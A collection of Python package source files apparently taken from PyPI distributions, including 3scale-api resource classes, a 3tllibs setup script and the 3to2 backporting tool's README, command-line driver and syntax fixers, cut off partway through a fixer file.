Date for billing Returns(bool): True if successful """ return self.threescale_client.tenants.trigger_billing(self, date) def trigger_billing_account(self, account: Union['Account', int], date: str) -> dict: """Trigger billing for one account in tenant Args: account: Account id or account resource date: Date for billing Returns(bool): True if successful """ return self.threescale_client.tenants.trigger_billing_account(self, account, date) def plan_upgrade(self, plan_id): """Upgrade plan to given plan_id""" return self.client.rest.put(f"{self.url}/plan_upgrade", params={"plan_id": plan_id}) @property def account(self): """Return account of this tenant""" return Account( client=self.threescale_client.accounts, entity=self.entity["signup"]["account"] ) class Application(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) self._auth_objects = { Service.AUTH_USER_KEY: auth.UserKeyAuth, Service.AUTH_APP_ID_KEY: auth.AppIdKeyAuth } self._api_client_verify = None self._client_factory = utils.HttpClient @property def account(self) -> 'Account': return self.parent @property def service(self) -> 'Service': "The service to which this application is bound" return self.threescale_client.services[self["service_id"]] @property def keys(self): "Application keys" return ApplicationKeys(parent=self, instance_klass=DefaultResource) def authobj(self, auth_mode=None, location=None): """Returns subclass of requests.auth.BaseAuth to provide authentication for queries agains 3scale service""" svc = self.service auth_mode = auth_mode if auth_mode else svc["backend_version"] if auth_mode not in self._auth_objects: raise errors.ThreeScaleApiError(f"Unknown credentials for configuration {auth_mode}") return self._auth_objects[auth_mode](self, location=location) def register_auth(self, auth_mode: str, factory): self._auth_objects[auth_mode] = factory def api_client(self, endpoint: str = "sandbox_endpoint", verify: bool = None, cert=None, disable_retry_status_list: Iterable = ()) -> 'utils.HttpClient': """This is preconfigured client for the application to run api calls. To avoid failures due to delays in infrastructure it retries call in case of certain condition. To modify this behavior customized session has to be passed. This custom session should have configured all necessary (e.g. authentication) :param endpoint: Choose whether 'sandbox_endpoint' or 'endpoint', defaults to sandbox_endpoint :param verify: Whether to do ssl verification or not, by default doesn't change what's in session, defaults to None :param cert: path to certificates :param disable_retry_status_list: Iterable collection that represents status codes that should not be retried. :return: threescale.utils.HttpClient Instance property api_client_verify of Application can change default of verify param to avoid passing non-default value to multiple api_client calls. It is applied whenever verify param is kept unchanged (None). """ if verify is None: verify = self.api_client_verify return self._client_factory(self, endpoint, verify, cert, disable_retry_status_list) @property def api_client_verify(self) -> bool: """Allows to change defaults of SSL verification for api_client (and test_request); default: None - do not alter library default""" return self._api_client_verify @api_client_verify.setter def api_client_verify(self, value: bool): self._api_client_verify = value def test_request(self, relpath=None, verify: bool = None): """Quick call to do test request against configured service. This is equivalent to test request on Integration page from UI :param relpath: relative path to run the requests, if not set, preconfigured value is used, defaults to None :param verify: SSL verification :return: requests.Response Instance attribute api_client_verify of Application can change default of verify param to avoid passing non-default value to multiple test_request calls. """ proxy = self.service.proxy.list().entity relpath = relpath if relpath is not None else proxy["api_test_path"] client = self.api_client(verify=verify) return client.get(relpath) class Account(DefaultResource): def __init__(self, entity_name='org_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def applications(self) -> Applications: return Applications(parent=self, instance_klass=Application) @property def users(self) -> AccountUsers: return AccountUsers(parent=self, instance_klass=AccountUser) def credit_card_set(self, params: dict = None, **kwargs): url = self.url + "/credit_card" response = self.client.rest.put(url=url, json=params, **kwargs) return response def credit_card_delete(self, params: dict = None, **kwargs): url = self.url + "/credit_card" response = self.client.rest.delete(url=url, json=params, **kwargs) return response class UserPermissions(DefaultResource): pass class AccountUser(DefaultUserResource): def __init__(self, entity_name='username', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def account(self) -> 'Account': return self.parent @property def permissions(self) -> 'UserPermissionsClient': return UserPermissionsClient(parent=self, instance_klass=UserPermissions) class AccountPlan(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class Limit(DefaultResource): @property def app_plan(self) -> ApplicationPlan: return self.parent class PricingRule(DefaultResource): @property def app_plan(self) -> ApplicationPlan: return self.parent class Backend(DefaultResource): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def metrics(self) -> 'BackendMetrics': return BackendMetrics(parent=self, instance_klass=BackendMetric) @property def mapping_rules(self) -> 'BackendMappingRules': return BackendMappingRules(parent=self, instance_klass=BackendMappingRule) def usages(self) -> list['BackendUsage']: """ Returns list of backend usages where the backend is used.""" return [usage for service in self.threescale_client.services.list() for usage in service.backend_usages.select_by(backend_id=self['id'])] class BackendMetric(Metric): def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class BackendMappingRule(MappingRule): def __init__(self, **kwargs): super().__init__(**kwargs) class BackendUsage(DefaultResource): def __init__(self, entity_name='', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def backend(self) -> 'Backend': return Backend( client=Backends(parent=self, instance_klass=Backend), entity_id=self['backend_id']) def _extract_entity_id(entity: Union['DefaultResource', int]): if isinstance(entity, DefaultResource): return entity.entity_id return entity class PolicyRegistry(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def proxy(self) -> 'Proxy': return self.parent @property def service(self) -> 'Service': return self.proxy.service class ProviderAccount(DefaultResource): def __init__(self, entity_name='org_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) def update(self, params: dict = None, **kwargs) -> 'DefaultResource': new_params = {**self.entity} if params: new_params.update(params) new_entity = self.client.update(params=new_params, **kwargs) self._entity = new_entity.entity return self class ProviderAccountUser(DefaultStateResource): def __init__(self, entity_name='username', **kwargs): super().__init__(entity_name=entity_name, **kwargs) def permissions_update( self, allowed_services: [] = None, allowed_sections: [] = None, **kwargs): return self.client.permissions_update( entity_id=self.entity_id, allowed_services=allowed_services, allowed_sections=allowed_sections, **kwargs ) def allow_all_sections(self, **kwargs): return self.client.allow_all_sections(entity_id=self.entity_id, **kwargs) def permissions_read(self, **kwargs): return self.client.permissions_read(entity_id=self.entity_id, **kwargs) def set_role_member(self): log.info("Changes the role of the user of the provider account to member") return self.set_state(state='member') def set_role_admin(self): log.info("Changes the role of the provider account to admin") return self.set_state(state='admin') def suspend(self): log.info("Changes the state of the user of the provider account to suspended") return self.set_state(state='suspend') def unsuspend(self): log.info("Revokes the suspension of a user of the provider account") return self.set_state(state='unsuspend') def activate(self): log.info("Changes the state of the user of the provider account to active") return self.set_state(state='activate') class LineItem(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class Invoice(DefaultResource): def __init__(self, entity_name='friendly_id', **kwargs): super().__init__(entity_name=entity_name, **kwargs) @property def line_items(self) -> LineItems: return LineItems(parent=self, instance_klass=LineItem) def state_update(self, state: InvoiceState): return self.client.state_update(entity_id=self.entity_id, state=state) def charge(self): return self.client.charge(entity_id=self.entity_id) @property def payment_transactions(self) -> 'PaymentTransactions': return PaymentTransactions(parent=self, instance_klass=PaymentTransaction) class PaymentTransaction(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class FieldsDefinition(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class AdminPortalAuthProvider(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class DevPortalAuthProvider(DefaultResource): def __init__(self, entity_name='name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class CmsFile(DefaultResource): """ Resource for file """ def __init__(self, entity_name='path', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class CmsSection(DefaultResource): """ Resource for section. """ def __init__(self, entity_name='id', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class CmsTemplate(DefaultResource): """ Resource for templates """ def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) def publish(self, **kwargs): """ Publish template resource """ return self.client.publish(entity_id=self.entity_id, **kwargs) class CmsPage(CmsTemplate): """ Resource for page """ def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class CmsLayout(CmsTemplate): """ Resource for layout """ def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs) class CmsPartial(CmsTemplate): """ Resource for partials """ def __init__(self, entity_name='system_name', **kwargs): super().__init__(entity_name=entity_name, **kwargs)
3scale-api
/3scale_api-0.32.0-py3-none-any.whl/threescale_api/resources.py
resources.py
def test_package(): print("This is package test")
3sdaq-news-cl
/3sdaq_news_cl-1.0.0.0-py3-none-any.whl/packageTest/packageTest.py
packageTest.py
__all__ = ['packageTest']
3sdaq-news-cl
/3sdaq_news_cl-1.0.0.0-py3-none-any.whl/packageTest/__init__.py
__init__.py
### step class step class consist common functions which can be inherited by other classes -- setTaskID, setUUID,setTaskExecutionID,startRedisConn,setLogger,loadParams,connectToAPIForKey,createAndGetResponseFromURL,getLogger,exceptionTraceback,getRelativeFile ### extract class
3tllibs
/3tllibs-0.1.0.tar.gz/3tllibs-0.1.0/README.txt
README.txt
from setuptools import setup setup( name='3tllibs', version='0.1.0', description='This is a 3TL module for pipeline creation', long_description_content_type=open('README.txt').read(), url='https://3tl.dev', author='Thinkartha', author_email='navin.naik@thinkartha.com', license='BSD 2-clause', packages=['3tllibs'], install_requires=['mpi4py>=2.0', 'jproperties==2.1.1','pandas==1.4.3','pandas-datareader==0.10.0','redis==4.3.4','requests==2.28.1','toolz==0.12.0','urllib3==1.26.10' ], classifiers=[ 'Development Status :: 1 - Planning', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: POSIX :: Linux', 'Programming Language :: Python :: 3.8', ], )
3tllibs
/3tllibs-0.1.0.tar.gz/3tllibs-0.1.0/setup.py
setup.py
Download ======== Release for 2.7 and 3.x (last version I tested was 3.4.3): https://pypi.python.org/pypi/3to2 Abstract ======== lib3to2 is a set of fixers that are intended to backport code written for Python version 3.x into Python version 2.x. The final target 2.x version is the latest version of the 2.7 branch, as that is the last release in the Python 2.x branch. Some attempts have been made, however, to make code compatible as much as possible with versions of Python back to 2.5, and bug reports are still welcome for Python features only present in 2.6+ that are not addressed by lib3to2. This project came about as a Google Summer of Code (TM) project in 2009. Status ====== Because of the nature of the subject matter, 3to2 is not perfect, so check all output manually. 3to2 does the bulk of the work, but there is code that simply cannot be converted into a Python 2 equivalent for one reason or another. 3to2 will either produce working Python 2 code or warn about why it did not. Any other behavior is a bug and should be reported. lib3to2's fixers are somewhat well-tested individually, but there is no testing that is done on interactions between multiple fixers, so most of the bugs in the future will likely be found there. Intention ========= lib3to2 is intended to be a tool in the process of developing code that is backwards-compatible between Python 3 and Python 2. It is not intended to be a complete solution for directly backporting Python 3 code, though it can often be used for this purpose without issue. Sufficiently large packages should be developed with lib3to2 used throughout the process to avoid backwards- incompatible code from becoming too embedded. There are some features of Python 3 that have no equivalent in Python 2, and though lib3to2 tries to fix as many of these as it can, some features are beyond its grasp. This is especially true of features not readily detectable by their syntax alone and extremely subtle features, so make sure that code using lib3to2 is thoroughly tested. Repository ========== lib3to2 resides at http://bitbucket.org/amentajo/lib3to2, where the bug tracker can be found at http://bitbucket.org/amentajo/lib3to2/issues Usage ===== Run "./3to2" to convert stdin ("-"), files or directories given as arguments. By default, the tool outputs a unified diff-formatted patch on standard output and a "what was changed" summary on standard error, but the "-w" option can be given to write back converted files, creating ".bak"-named backup files. If you are root, you can also install with "./setup.py build" and "./setup.py install" ("make install" does this for you). This branch of 3to2 must be run with Python 3. To install locally (used for running tests as a non-privileged user), the scripts assume you are using python3.1. Modify accordingly if you are not. Relationship with lib2to3 ========================= Some of the fixers for lib3to2 are directly copy-pasted from their 2to3 equivalent, with the element of PATTERN and the corresponding transformation switched places. Most fixers written for this program with a corresponding 2to3 fixer started from a clone of the 2to3 fixer, then modifying that fixer to work in reverse. I do not claim original authorship of these fixers, but I do claim that they will work for 3to2, independent of how they work for 2to3. In addition, this program depends on lib2to3 to implement fixers, test cases, refactoring, and grammar. Some portions of lib2to3 were modified to be more generic to support lib3to2's calls. You should use the latest version of lib2to3 from the Python sandbox rather than the version (if any) that comes with Python. As a convenience, "two2three" from the Python Package Index is a recent enough version of lib2to3 renamed to avoid conflicts. To use this package, replace all usage of "lib2to3" with "two2three" within the 3to2 source files after installing "two2three" from the PyPI. Depending on the developer's mood, a version of 3to2 may be provided with this change already made.
3to2
/3to2-1.1.1.zip/3to2-1.1.1/README
README
#!/usr/bin/env python3.2 classifiers = [ "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "License :: OSI Approved :: Apache Software License", "Operating System :: OS Independent", "Programming Language :: Python :: 2.7", "Programming Language :: Python :: 3", "Programming Language :: Python :: 3.2", "Programming Language :: Python :: 3.3", "Topic :: Software Development :: Code Generators", "Topic :: Software Development :: Libraries :: Python Modules", ] from distutils.core import setup setup( name="3to2", packages=["lib3to2","lib3to2.fixes","lib3to2.tests"], scripts=["3to2"], version="1.1.1", url="http://www.startcodon.com/wordpress/?cat=8", author="Joe Amenta", author_email="airbreather@linux.com", classifiers=classifiers, description="Refactors valid 3.x syntax into valid 2.x syntax, if a syntactical conversion is possible", long_description="", license="", platforms="", )
3to2
/3to2-1.1.1.zip/3to2-1.1.1/setup.py
setup.py
# -*- coding: utf-8 -*- """ Main program for 3to2. """ from __future__ import print_function import sys import os import difflib import logging import shutil import optparse from lib2to3 import refactor from lib2to3 import pygram def diff_texts(a, b, filename): """Return a unified diff of two strings.""" a = a.splitlines() b = b.splitlines() return difflib.unified_diff(a, b, filename, filename, "(original)", "(refactored)", lineterm="") class StdoutRefactoringTool(refactor.MultiprocessRefactoringTool): """ Prints output to stdout. """ def __init__(self, fixers, options, explicit, nobackups, show_diffs): self.nobackups = nobackups self.show_diffs = show_diffs super(StdoutRefactoringTool, self).__init__(fixers, options, explicit) self.driver.grammar = pygram.python_grammar_no_print_statement def refactor_string(self, data, name): """Override to keep print statements out of the grammar""" try: tree = self.driver.parse_string(data) except Exception as err: self.log_error("Can't parse %s: %s: %s", name, err.__class__.__name__, err) return self.log_debug("Refactoring %s", name) self.refactor_tree(tree, name) return tree def log_error(self, msg, *args, **kwargs): self.errors.append((msg, args, kwargs)) self.logger.error(msg, *args, **kwargs) def write_file(self, new_text, filename, old_text, encoding): if not self.nobackups: # Make backup backup = filename + ".bak" if os.path.lexists(backup): try: os.remove(backup) except os.error as err: self.log_message("Can't remove backup %s", backup) try: os.rename(filename, backup) except os.error as err: self.log_message("Can't rename %s to %s", filename, backup) # Actually write the new file write = super(StdoutRefactoringTool, self).write_file write(new_text, filename, old_text, encoding) if not self.nobackups: shutil.copymode(backup, filename) def print_output(self, old, new, filename, equal): if equal: self.log_message("No changes to %s", filename) else: self.log_message("Refactored %s", filename) if self.show_diffs: for line in diff_texts(old, new, filename): print(line.encode('utf-8', 'ignore')) def warn(msg): print("WARNING: %s" % (msg,), file=sys.stderr) def main(fixer_pkg, args=None): """Main program. Args: fixer_pkg: the name of a package where the fixers are located. args: optional; a list of command line arguments. If omitted, sys.argv[1:] is used. Returns a suggested exit status (0, 1, 2). """ # Set up option parser parser = optparse.OptionParser(usage="3to2 [options] file|dir ...") parser.add_option("-d", "--doctests_only", action="store_true", help="Fix up doctests only") parser.add_option("-f", "--fix", action="append", default=[], help="Each FIX specifies a transformation; default: all") parser.add_option("-j", "--processes", action="store", default=1, type="int", help="Run 3to2 concurrently") parser.add_option("-x", "--nofix", action="append", default=[], help="Prevent a fixer from being run.") parser.add_option("-l", "--list-fixes", action="store_true", help="List available transformations (fixes/fix_*.py)") parser.add_option("-v", "--verbose", action="store_true", help="More verbose logging") parser.add_option("-w", "--write", action="store_true", help="Write back modified files") parser.add_option("-n", "--nobackups", action="store_true", default=False, help="Don't write backups for modified files.") parser.add_option("--no-diffs", action="store_true", help="Don't show diffs of the refactoring") # Parse command line arguments refactor_stdin = False options, args = parser.parse_args(args) if not options.write and options.no_diffs: warn("not writing files and not printing diffs; that's not very useful") if not options.write and options.nobackups: parser.error("Can't use -n without -w") if options.list_fixes: print("Available transformations for the -f/--fix option:") for fixname in refactor.get_all_fix_names(fixer_pkg): print(fixname) if not args: return 0 if not args: print("At least one file or directory argument required.", file=sys.stderr) print("Use --help to show usage.", file=sys.stderr) return 2 if "-" in args: refactor_stdin = True if options.write: print("Can't write to stdin.", file=sys.stderr) return 2 # Set up logging handler level = logging.DEBUG if options.verbose else logging.INFO logging.basicConfig(format='%(name)s: %(message)s', level=level) # Initialize the refactoring tool avail_fixes = set(refactor.get_fixers_from_package(fixer_pkg)) unwanted_fixes = set(fixer_pkg + ".fix_" + fix for fix in options.nofix) explicit = set() if options.fix: all_present = False for fix in options.fix: if fix == "all": all_present = True else: explicit.add(fixer_pkg + ".fix_" + fix) requested = avail_fixes.union(explicit) if all_present else explicit else: requested = avail_fixes.union(explicit) fixer_names = requested.difference(unwanted_fixes) rt = StdoutRefactoringTool(sorted(fixer_names), None, sorted(explicit), options.nobackups, not options.no_diffs) # Refactor all files and directories passed as arguments if not rt.errors: if refactor_stdin: rt.refactor_stdin() else: try: rt.refactor(args, options.write, options.doctests_only, options.processes) except refactor.MultiprocessingUnsupported: assert options.processes > 1 print("Sorry, -j isn't supported on this platform.", file=sys.stderr) return 1 rt.summarize() # Return error status (0 if rt.errors is zero) return int(bool(rt.errors))
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/main.py
main.py
from lib2to3.pygram import token, python_symbols as syms from lib2to3.pytree import Leaf, Node from lib2to3.fixer_util import * def Star(prefix=None): return Leaf(token.STAR, '*', prefix=prefix) def DoubleStar(prefix=None): return Leaf(token.DOUBLESTAR, '**', prefix=prefix) def Minus(prefix=None): return Leaf(token.MINUS, '-', prefix=prefix) def commatize(leafs): """ Accepts/turns: (Name, Name, ..., Name, Name) Returns/into: (Name, Comma, Name, Comma, ..., Name, Comma, Name) """ new_leafs = [] for leaf in leafs: new_leafs.append(leaf) new_leafs.append(Comma()) del new_leafs[-1] return new_leafs def indentation(node): """ Returns the indentation for this node Iff a node is in a suite, then it has indentation. """ while node.parent is not None and node.parent.type != syms.suite: node = node.parent if node.parent is None: return "" # The first three children of a suite are NEWLINE, INDENT, (some other node) # INDENT.value contains the indentation for this suite # anything after (some other node) has the indentation as its prefix. if node.type == token.INDENT: return node.value elif node.prev_sibling is not None and node.prev_sibling.type == token.INDENT: return node.prev_sibling.value elif node.prev_sibling is None: return "" else: return node.prefix def indentation_step(node): """ Dirty little trick to get the difference between each indentation level Implemented by finding the shortest indentation string (technically, the "least" of all of the indentation strings, but tabs and spaces mixed won't get this far, so those are synonymous.) """ r = find_root(node) # Collect all indentations into one set. all_indents = set(i.value for i in r.pre_order() if i.type == token.INDENT) if not all_indents: # nothing is indented anywhere, so we get to pick what we want return " " # four spaces is a popular convention else: return min(all_indents) def suitify(parent): """ Turn the stuff after the first colon in parent's children into a suite, if it wasn't already """ for node in parent.children: if node.type == syms.suite: # already in the prefered format, do nothing return # One-liners have no suite node, we have to fake one up for i, node in enumerate(parent.children): if node.type == token.COLON: break else: raise ValueError("No class suite and no ':'!") # Move everything into a suite node suite = Node(syms.suite, [Newline(), Leaf(token.INDENT, indentation(node) + indentation_step(node))]) one_node = parent.children[i+1] one_node.remove() one_node.prefix = '' suite.append_child(one_node) parent.append_child(suite) def NameImport(package, as_name=None, prefix=None): """ Accepts a package (Name node), name to import it as (string), and optional prefix and returns a node: import <package> [as <as_name>] """ if prefix is None: prefix = "" children = [Name("import", prefix=prefix), package] if as_name is not None: children.extend([Name("as", prefix=" "), Name(as_name, prefix=" ")]) return Node(syms.import_name, children) _compound_stmts = (syms.if_stmt, syms.while_stmt, syms.for_stmt, syms.try_stmt, syms.with_stmt) _import_stmts = (syms.import_name, syms.import_from) def import_binding_scope(node): """ Generator yields all nodes for which a node (an import_stmt) has scope The purpose of this is for a call to _find() on each of them """ # import_name / import_from are small_stmts assert node.type in _import_stmts test = node.next_sibling # A small_stmt can only be followed by a SEMI or a NEWLINE. while test.type == token.SEMI: nxt = test.next_sibling # A SEMI can only be followed by a small_stmt or a NEWLINE if nxt.type == token.NEWLINE: break else: yield nxt # A small_stmt can only be followed by either a SEMI or a NEWLINE test = nxt.next_sibling # Covered all subsequent small_stmts after the import_stmt # Now to cover all subsequent stmts after the parent simple_stmt parent = node.parent assert parent.type == syms.simple_stmt test = parent.next_sibling while test is not None: # Yes, this will yield NEWLINE and DEDENT. Deal with it. yield test test = test.next_sibling context = parent.parent # Recursively yield nodes following imports inside of a if/while/for/try/with statement if context.type in _compound_stmts: # import is in a one-liner c = context while c.next_sibling is not None: yield c.next_sibling c = c.next_sibling context = context.parent # Can't chain one-liners on one line, so that takes care of that. p = context.parent if p is None: return # in a multi-line suite while p.type in _compound_stmts: if context.type == syms.suite: yield context context = context.next_sibling if context is None: context = p.parent p = context.parent if p is None: break def ImportAsName(name, as_name, prefix=None): new_name = Name(name) new_as = Name("as", prefix=" ") new_as_name = Name(as_name, prefix=" ") new_node = Node(syms.import_as_name, [new_name, new_as, new_as_name]) if prefix is not None: new_node.prefix = prefix return new_node def future_import(feature, node): root = find_root(node) if does_tree_import("__future__", feature, node): return insert_pos = 0 for idx, node in enumerate(root.children): if node.type == syms.simple_stmt and node.children and \ node.children[0].type == token.STRING: insert_pos = idx + 1 break for thing_after in root.children[insert_pos:]: if thing_after.type == token.NEWLINE: insert_pos += 1 continue prefix = thing_after.prefix thing_after.prefix = "" break else: prefix = "" import_ = FromImport("__future__", [Leaf(token.NAME, feature, prefix=" ")]) children = [import_, Newline()] root.insert_child(insert_pos, Node(syms.simple_stmt, children, prefix=prefix)) def parse_args(arglist, scheme): """ Parse a list of arguments into a dict """ arglist = [i for i in arglist if i.type != token.COMMA] ret_mapping = dict([(k, None) for k in scheme]) for i, arg in enumerate(arglist): if arg.type == syms.argument and arg.children[1].type == token.EQUAL: # argument < NAME '=' any > slot = arg.children[0].value ret_mapping[slot] = arg.children[2] else: slot = scheme[i] ret_mapping[slot] = arg return ret_mapping
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixer_util.py
fixer_util.py
# empty to make this a package
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/__init__.py
__init__.py
# -*- coding: utf-8 -*- """ Created on Sun Oct 13 18:53:41 2013 @author: silvester """ import os from distutils import log from distutils.command.build_py import build_py from lib2to3 import refactor from lib2to3 import pygram class DistutilsRefactoringTool(refactor.RefactoringTool): """Refactoring tool for lib3to2 building""" def __init__(self, fixers, options=None, explicit=None): super(DistutilsRefactoringTool, self).__init__(fixers, options, explicit) self.driver.grammar = pygram.python_grammar_no_print_statement def refactor_string(self, data, name): """Override to keep print statements out of the grammar""" try: tree = self.driver.parse_string(data) except Exception, err: self.log_error("Can't parse %s: %s: %s", name, err.__class__.__name__, err) return self.log_debug("Refactoring %s", name) self.refactor_tree(tree, name) return tree def log_error(self, msg, *args, **kw): log.error(msg, *args) def log_message(self, msg, *args): log.info(msg, *args) def log_debug(self, msg, *args): log.debug(msg, *args) def run_3to2(files, fixer_names=None, options=None, explicit=None): """Invoke 3to2 on a list of Python files. The files should all come from the build area, as the modification is done in-place. To reduce the build time, only files modified since the last invocation of this function should be passed in the files argument.""" if not files: return if fixer_names is None: fixer_names = refactor.get_fixers_from_package('lib3to2.fixes') r = DistutilsRefactoringTool(fixer_names, options=options) r.refactor(files, write=True) def copydir_run_3to2(src, dest, template=None, fixer_names=None, options=None, explicit=None): """Recursively copy a directory, only copying new and changed files, running run_3to2 over all newly copied Python modules afterward. If you give a template string, it's parsed like a MANIFEST.in. """ from distutils.dir_util import mkpath from distutils.file_util import copy_file from distutils.filelist import FileList filelist = FileList() curdir = os.getcwd() os.chdir(src) try: filelist.findall() finally: os.chdir(curdir) filelist.files[:] = filelist.allfiles if template: for line in template.splitlines(): line = line.strip() if not line: continue filelist.process_template_line(line) copied = [] for filename in filelist.files: outname = os.path.join(dest, filename) mkpath(os.path.dirname(outname)) res = copy_file(os.path.join(src, filename), outname, update=1) if res[1]: copied.append(outname) run_3to2([fn for fn in copied if fn.lower().endswith('.py')], fixer_names=fixer_names, options=options, explicit=explicit) return copied class Mixin3to2: '''Mixin class for commands that run 3to2. To configure 3to2, setup scripts may either change the class variables, or inherit from individual commands to override how 3to2 is invoked.''' # provide list of fixers to run; # defaults to all from lib3to2.fixers fixer_names = None # options dictionary options = None # list of fixers to invoke even though they are marked as explicit explicit = None def run_3to2(self, files): return run_3to2(files, self.fixer_names, self.options, self.explicit) class build_py_3to2(build_py, Mixin3to2): def run(self): self.updated_files = [] # Base class code if self.py_modules: self.build_modules() if self.packages: self.build_packages() self.build_package_data() # 3to2 self.run_3to2(self.updated_files) # Remaining base class code self.byte_compile(self.get_outputs(include_bytecode=0)) def build_module(self, module, module_file, package): res = build_py.build_module(self, module, module_file, package) if res[1]: # file was copied self.updated_files.append(res[0]) return res
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/build.py
build.py
""" Fixer for open(...) -> io.open(...) """ from lib2to3 import fixer_base from ..fixer_util import touch_import, is_probably_builtin class FixOpen(fixer_base.BaseFix): PATTERN = """'open'""" def transform(self, node, results): if is_probably_builtin(node): touch_import("io", "open", node)
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_open.py
fix_open.py
""" Fixer for: anything.bit_length() -> (len(bin(anything)) - 2) """ from lib2to3 import fixer_base from ..fixer_util import LParen, RParen, Call, Number, Name, Minus, Node, syms class FixBitlength(fixer_base.BaseFix): PATTERN = "power< name=any trailer< '.' 'bit_length' > trailer< '(' ')' > >" def transform(self, node, results): name = results["name"] inner = Call(Name("bin"), [Name(name.value)]) outer = Call(Name("len"), [inner]) middle = Minus(prefix=" ") two = Number("2", prefix=" ") node.replace(Node(syms.power, [LParen(), outer, middle, two, RParen()], prefix=node.prefix))
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_bitlength.py
fix_bitlength.py
''' Add 'from __future__ import absolute_import' to any file that uses imports. ''' from lib2to3 import fixer_base from lib2to3.pygram import python_symbols as syms from lib3to2.fixer_util import future_import class FixAbsimport(fixer_base.BaseFix): order = 'post' run_order = 10 def __init__(self, options, log): super(FixAbsimport, self).__init__(options, log) self.__abs_added = None def start_tree(self, tree, filename): super(FixAbsimport, self).start_tree(tree, filename) self.__abs_added = False def match(self, node): return (node.type in (syms.import_name, syms.import_from) and not self.__abs_added) def transform(self, node, results): try: future_import('absolute_import', node) except ValueError: pass else: self.__abs_added = True def finish_tree(self, tree, filename): fixer_base.BaseFix.finish_tree(self, tree, filename)
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_absimport.py
fix_absimport.py
""" Fixer for dictcomp and setcomp: {foo comp_for} -> set((foo comp_for)) {foo:bar comp_for} -> dict(((foo, bar) comp_for))""" from lib2to3 import fixer_base from lib2to3.pytree import Node, Leaf from lib2to3.pygram import python_symbols as syms from lib2to3.pgen2 import token from lib2to3.fixer_util import parenthesize, Name, Call, LParen, RParen from ..fixer_util import commatize def tup(args): return parenthesize(Node(syms.testlist_gexp, commatize(args))) class FixDctsetcomp(fixer_base.BaseFix): PATTERN = """atom< '{' dictsetmaker< n1=any [col=':' n2=any] comp_for=comp_for< 'for' any 'in' any [comp_if<'if' any>] > > '}' >""" def transform(self, node, results): comp_for = results.get("comp_for").clone() is_dict = bool(results.get("col")) # is it a dict? n1 = results.get("n1").clone() if is_dict: n2 = results.get("n2").clone() n2.prefix = " " impl_assign = tup((n1, n2)) else: impl_assign = n1 our_gencomp = Node(syms.listmaker, [(impl_assign),(comp_for)]) if is_dict: new_node = Node(syms.power, [Name("dict"), parenthesize(Node(syms.atom, [our_gencomp]))]) else: new_node = Node(syms.power, [Name("set"), parenthesize(Node(syms.atom, [our_gencomp]))]) new_node.prefix = node.prefix return new_node
3to2
/3to2-1.1.1.zip/3to2-1.1.1/lib3to2/fixes/fix_dctsetcomp.py
fix_dctsetcomp.py
""" Fixer for complicated imports """ from lib2to3 import fixer_base from lib2to3.fixer_util import Name, String, FromImport, Newline, Comma from ..fixer_util import token, syms, Leaf, Node, Star, indentation, ImportAsName TK_BASE_NAMES = ('ACTIVE', 'ALL', 'ANCHOR', 'ARC','BASELINE', 'BEVEL', 'BOTH', 'BOTTOM', 'BROWSE', 'BUTT', 'CASCADE', 'CENTER', 'CHAR', 'CHECKBUTTON', 'CHORD', 'COMMAND', 'CURRENT', 'DISABLED', 'DOTBOX', 'E', 'END', 'EW', 'EXCEPTION', 'EXTENDED', 'FALSE', 'FIRST', 'FLAT', 'GROOVE', 'HIDDEN', 'HORIZONTAL', 'INSERT', 'INSIDE', 'LAST', 'LEFT', 'MITER', 'MOVETO', 'MULTIPLE', 'N', 'NE', 'NO', 'NONE', 'NORMAL', 'NS', 'NSEW', 'NUMERIC', 'NW', 'OFF', 'ON', 'OUTSIDE', 'PAGES', 'PIESLICE', 'PROJECTING', 'RADIOBUTTON', 'RAISED', 'READABLE', 'RIDGE', 'RIGHT', 'ROUND', 'S', 'SCROLL', 'SE', 'SEL', 'SEL_FIRST', 'SEL_LAST', 'SEPARATOR', 'SINGLE', 'SOLID', 'SUNKEN', 'SW', 'StringTypes', 'TOP', 'TRUE', 'TclVersion', 'TkVersion', 'UNDERLINE', 'UNITS', 'VERTICAL', 'W', 'WORD', 'WRITABLE', 'X', 'Y', 'YES', 'wantobjects') PY2MODULES = { 'urllib2' : ( 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'AbstractHTTPHandler', 'BaseHandler', 'CacheFTPHandler', 'FTPHandler', 'FileHandler', 'HTTPBasicAuthHandler', 'HTTPCookieProcessor', 'HTTPDefaultErrorHandler', 'HTTPDigestAuthHandler', 'HTTPError', 'HTTPErrorProcessor', 'HTTPHandler', 'HTTPPasswordMgr', 